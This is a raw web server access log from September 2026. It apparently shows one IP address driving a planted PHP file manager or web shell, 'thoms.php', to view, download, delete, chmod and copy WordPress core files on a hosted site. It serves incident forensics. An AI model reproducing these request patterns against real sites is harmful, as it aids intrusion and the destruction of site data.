45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15412 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105464 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?chmod=media-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?chmod=ms-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?chmod=post-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcron.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcron.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:38 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?chmod=locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?dl=icons.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?chmod=sodium_compat&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?chmod=feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?chmod=l10n.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /booking-wise2.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /booking-wise2.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?chmod=view-transitions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?dl=post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?dl=view-config.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:39 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwidgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwidgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 12400 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /thoms.php?chmod=block-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /thoms.php?del=html-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=html-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /thoms.php?del=pomo&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=pomo&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:40 -0400] "GET /thoms.php?del=blocks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20183 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /booking-wise2.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /booking-wise2.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /booking-wise2.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12060 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?chmod=assets&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=assets&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?chmod=capabilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:41 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59397 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13052 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50975 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?del=general-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12523 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?del=style-engine&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59405 "http://163.245.207.76:443/thoms.php?del=style-engine&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:42 -0400] "GET /thoms.php?del=class-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 12408 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?dl=ms-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?dl=class-IXR.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:43 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59447 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 12377 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13298 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14346 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13954 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
